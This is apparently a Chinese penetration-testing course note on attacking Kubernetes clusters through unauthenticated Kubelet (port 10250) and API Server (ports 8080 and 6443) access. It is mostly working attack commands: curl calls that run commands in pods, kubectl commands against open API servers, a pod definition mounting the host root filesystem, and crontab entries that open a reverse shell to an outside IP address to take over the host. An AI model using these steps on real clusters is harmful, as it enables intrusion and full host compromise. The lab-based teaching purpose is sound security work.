Day97:云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

知识点:

1、云原生-K8s安全-名词架构&各攻击点

2、云原生-K8s安全-Kubelet未授权访问

3、云原生-K8s安全-API Server未授权访问

K8S集群

Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。

Master节点(控制端)、Node节点(主机)、Pod(容器)

具体参考:https://blog.csdn.net/qq_34101364/article/details/122506768

K8S集群攻击点

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:

通过虚拟机攻击云管理平台,利用管理平台控制所有机器

通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器

利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。

详细攻击点参考:

https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw

https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

扫目标端口来判断

本地搭建环境测试,搭建环境使用3台Centos 7,参考文章:

https://www.jianshu.com/p/25c01cae990c

https://blog.csdn.net/fly910905/article/details/120887686

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

K8s-master 192.168.139.130

K8s-node1 192.168.139.131

K8s-node2 192.168.139.132

云原生-K8s安全-Kubelet(node)未授权访问

攻击10250端口:kubelet未授权访问

修改配置文件

192.168.230.132配置如下:

/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,

重启kubelet进程-

systemctl restart kubelet

再次访问

1、访问获取三个参数值

https://192.168.16.142:10250/runningpods/

2、执行容器命令:

curl -XPOST -k "https://192.168.16.142:10250/run/default/nginx-6db489d4b7-t8rqt/nginx" -d "cmd=id"

执行的命令是test03容器里的命令,需要进行容器逃逸

云原生-K8s安全-API Server未授权访问

API Server(Master)未授权访问

攻击8080端口

旧版本的k8s的API Server默认会开启两个端口:8080和6443。

6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,

仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)

新版本k8s默认已经不开启8080。需要更改相应的配置

cd /etc/kubernetes/manifests/

  • --insecure-port=8080

  • --insecure-bind-address=0.0.0.0

访问http://192.168.16.137:8080/

kubectl官方工具下载地址:安装工具 | Kubernetes

一、获取所有主机(nodes)节点

kubectl.exe -s 192.168.16.143:8080 get nodes

二、获取所有容 器(pods)节点

kubectl.exe -s 192.168.16.143:8080 get pods

三、创建新的docker容器

kubectl -s 192.168.16.143:8080 create -f test.yaml
kubectl apply -f pod.yaml --namespace=test

//创建一个pod文件,相当于新建一个名为xiaodi的docker容器

kubectl.exe -s 192.168.16.143:8080 get pods

四、进入到创建的docker容器

kubectl -s 192.168.16.143:8080 --namespace=default exec -it xiaodi bash

kubectl -s 192.168.16.143:8080 exec -it "xiaodi" /bin/bash

进不去,

kubectl exec -it "xiaodi" /bin/bash

//docker进入到xiaodi容器的命令

五、容器逃逸获取宿主机shell

echo -e "* * * * * root bash -i >& /dev/tcp/111.230.109.74/4444 0>&1\n" >> /mnt/etc/crontab

把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

其中一个节点写入

反弹成功了

是宿主机

API Server(Master)未授权访问

攻击6443端口

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

访问

一、创建恶意pods容器

https://192.168.16.143:6443/api/v1/namespaces/default/pods/

POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test03\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test03\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test03","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test03","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

二、连接查看pods

kubectl --insecure-skip-tls-verify -s https://192.168.16.143:6443 get pods

三、进入到test03容器里并反弹宿主机的shell

kubectl --insecure-skip-tls-verify -s https://192.168.16.143:6443 --namespace=default exec -it test03 bin/bash //失败
kubectl exec -it "test03" /bin/bash

echo -e "* * * * * root bash -i >& /dev/tcp/111.230.109.74/4455 0>&1\n" >> /host/etc/crontab

把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

反弹成功了

相关推荐
未完结的牵挂1 分钟前
高质量代理池go_Proxy_Pool
网络安全
友友马12 分钟前
『 Linux 』网络层 - IP协议(一)
linux·网络·tcp/ip
弗锐土豆29 分钟前
工业生产安全-安全帽第二篇-用java语言看看opencv实现的目标检测使用过程
java·opencv·安全·检测·面部
条纹布鲁斯36 分钟前
dockerdsktop修改安装路径/k8s部署wordpress和ubuntu
docker·kubernetes
码老白1 小时前
【老白学 Java】Warshipv2.0(二)
java·网络
HackKong1 小时前
小白怎样入门网络安全?
网络·学习·安全·web安全·网络安全·黑客
打码人的日常分享1 小时前
商用密码应用安全性评估,密评整体方案,密评管理测评要求和指南,运维文档,软件项目安全设计相关文档合集(Word原件)
运维·安全·web安全·系统安全·规格说明书
爱吃奶酪的松鼠丶1 小时前
Web安全之XSS攻击的防范
安全·web安全·xss
东莞梦幻网络科技软件开发公司1 小时前
开发体育赛事直播平台防止数据泄露的技术安全方案
经验分享·安全
vmlogin虚拟多登浏览器2 小时前
虚拟浏览器可以应对哪些浏览器安全威胁?
服务器·网络·安全·跨境电商·防关联